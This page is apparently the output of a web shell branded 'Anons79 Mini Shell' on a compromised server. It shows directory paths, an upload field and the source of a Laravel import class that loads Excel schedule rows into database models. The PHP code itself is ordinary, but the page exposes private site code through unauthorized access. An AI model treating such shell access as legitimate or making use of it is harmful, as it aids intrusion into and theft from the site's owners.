Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/
Upload File :
Current File : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/JadwalsImport.php

<?php

namespace App\Imports;

use App\Models\Jadwal;
use App\Models\KabKota;
use Maatwebsite\Excel\Concerns\ToModel;
use PhpOffice\PhpSpreadsheet\Shared\Date;

class JadwalsImport implements ToModel
{
    /**
    * @param array $row
    *
    * @return \Illuminate\Database\Eloquent\Model|null
    */
    public function model(array $row)
    {   
        if(!isset($row[0]) || strtolower($row[0]) == "area tujuan" || strtolower($row[0]) == "" || strtolower($row[0]) == null){
            return;
        }
        $k = KabKota::where('nama_kab_kota','LIKE','%'.$row[1].'%')->first();
        if(!$k){
            $k = KabKota::create(['nama_kab_kota'=>$row[1]]);
        }
        return new Jadwal([
            'kab_kota_id'=> $k->id,
            'area_tujuan'=> $row[0],
            'hari' => $row[2],
            'jam'=>Date::excelToDateTimeObject($row[3])->format('H:i'),
            'keterangan_jadwal'=>null
        ]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]